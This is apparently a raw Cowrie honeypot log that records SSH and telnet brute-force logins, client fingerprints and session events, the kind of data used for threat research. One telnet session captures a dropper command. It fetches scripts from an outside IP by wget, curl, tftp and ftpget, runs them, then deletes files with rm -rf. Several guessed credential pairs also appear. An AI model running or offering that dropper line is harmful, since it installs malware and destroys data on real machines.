{"eventid":"cowrie.login.success","username":"root","password":"zxc123456","message":"login attempt [root/zxc123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:54.990022Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:55.549730Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:55.552744Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:55.814014Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:52:55.819776Z","src_ip":"14.225.2.125","session":"807eb438b971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53098,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6ac947400fd","protocol":"ssh","message":"New connection: 195.178.110.218:53098 (159.203.135.109:22) [session: e6ac947400fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:50.512687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:50.517550Z","src_ip":"195.178.110.218","session":"e6ac947400fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:50.593602Z","src_ip":"195.178.110.218","session":"e6ac947400fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:50.819450Z","src_ip":"195.178.110.218","session":"e6ac947400fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:51.898165Z","src_ip":"195.178.110.218","session":"e6ac947400fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36058,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf7b5c90338","protocol":"ssh","message":"New connection: 2.57.122.208:36058 (10.17.0.5:22) [session: 3bf7b5c90338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:57.714628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:57.910943Z","src_ip":"2.57.122.208","session":"3bf7b5c90338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:57.917686Z","src_ip":"2.57.122.208","session":"3bf7b5c90338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:58.711074Z","src_ip":"2.57.122.208","session":"3bf7b5c90338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:53:59.842402Z","src_ip":"2.57.122.208","session":"3bf7b5c90338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41788,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a382f1742e","protocol":"ssh","message":"New connection: 193.32.162.151:41788 (159.203.135.109:22) [session: 03a382f1742e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:54:14.998059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:54:15.007535Z","src_ip":"193.32.162.151","session":"03a382f1742e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:54:15.246061Z","src_ip":"193.32.162.151","session":"03a382f1742e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ucsd","password":"ucsd","message":"login attempt [ucsd/ucsd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:54:15.621037Z","src_ip":"193.32.162.151","session":"03a382f1742e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:54:16.721520Z","src_ip":"193.32.162.151","session":"03a382f1742e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56052,"dst_ip":"10.17.0.5","dst_port":22,"session":"bda3cfb3072a","protocol":"ssh","message":"New connection: 80.94.92.186:56052 (10.17.0.5:22) [session: bda3cfb3072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:03.056513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:03.114391Z","src_ip":"80.94.92.186","session":"bda3cfb3072a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:03.266027Z","src_ip":"80.94.92.186","session":"bda3cfb3072a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:04.269924Z","src_ip":"80.94.92.186","session":"bda3cfb3072a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:05.447198Z","src_ip":"80.94.92.186","session":"bda3cfb3072a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57608,"dst_ip":"159.203.135.109","dst_port":22,"session":"315f702d5064","protocol":"ssh","message":"New connection: 193.32.162.151:57608 (159.203.135.109:22) [session: 315f702d5064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:31.773536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:31.777147Z","src_ip":"193.32.162.151","session":"315f702d5064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:31.890809Z","src_ip":"193.32.162.151","session":"315f702d5064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapper","password":"mappr","message":"login attempt [mapper/mappr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:32.261743Z","src_ip":"193.32.162.151","session":"315f702d5064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:33.418040Z","src_ip":"193.32.162.151","session":"315f702d5064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50846,"dst_ip":"159.203.135.109","dst_port":22,"session":"18f153ffed74","protocol":"ssh","message":"New connection: 195.178.110.218:50846 (159.203.135.109:22) [session: 18f153ffed74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:40.858099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:40.862180Z","src_ip":"195.178.110.218","session":"18f153ffed74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:40.943752Z","src_ip":"195.178.110.218","session":"18f153ffed74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:41.183170Z","src_ip":"195.178.110.218","session":"18f153ffed74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:56:42.265101Z","src_ip":"195.178.110.218","session":"18f153ffed74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.252.236","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1eec2e5a603","protocol":"telnet","message":"New connection: 165.22.252.236:33298 (10.17.0.5:23) [session: c1eec2e5a603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:02.164970Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:04.230760Z","src_ip":"165.22.252.236","session":"c1eec2e5a603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.261124134063721,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:06.425991Z","src_ip":"165.22.252.236","session":"c1eec2e5a603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.252.236","src_port":33310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6cced0f703","protocol":"telnet","message":"New connection: 165.22.252.236:33310 (10.17.0.5:23) [session: ac6cced0f703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:06.675782Z"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:07.806117Z","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:07.844683Z","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://206.189.22.92/1.sh; curl -O http://206.189.22.92/1.sh; chmod 777 1.sh; sh 1.sh; tftp 206.189.22.92 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 206.189.22.92; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 206.189.22.92 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3.sh 2.sh; rm -rf *","message":"CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://206.189.22.92/1.sh; curl -O http://206.189.22.92/1.sh; chmod 777 1.sh; sh 1.sh; tftp 206.189.22.92 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 206.189.22.92; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 206.189.22.92 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3.sh 2.sh; rm -rf *","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:08.705503Z","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://206.189.22.92/1.sh","outfile":"var/lib/cowrie/downloads/c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698","shasum":"c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:08.849497Z","message":"Downloaded URL (http://206.189.22.92/1.sh) with SHA-256 c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698 to var/lib/cowrie/downloads/c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://206.189.22.92/1.sh","outfile":"var/lib/cowrie/downloads/c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698","shasum":"c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:08.921703Z","message":"Downloaded URL (http://206.189.22.92/1.sh) with SHA-256 c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698 to var/lib/cowrie/downloads/c78e6c73ac9a847b19d1015375ab4a3ee54ea4fffcb51acf07551cffb4b55698","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/836a7b5f7249e844911c8029bd2fcd34b9e874f38fac2d0a9056d29b4061324a","size":1422,"shasum":"836a7b5f7249e844911c8029bd2fcd34b9e874f38fac2d0a9056d29b4061324a","duplicate":false,"duration":"2.0","message":"Closing TTY Log: var/lib/cowrie/tty/836a7b5f7249e844911c8029bd2fcd34b9e874f38fac2d0a9056d29b4061324a after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:09.808937Z","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.1421260833740234,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:09.817809Z","src_ip":"165.22.252.236","session":"ac6cced0f703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45298,"dst_ip":"159.203.135.109","dst_port":22,"session":"b56ed8237b40","protocol":"ssh","message":"New connection: 193.32.162.151:45298 (159.203.135.109:22) [session: b56ed8237b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:46.354610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:58:46.358869Z","src_ip":"193.32.162.151","session":"b56ed8237b40","protocol":"ssh"}
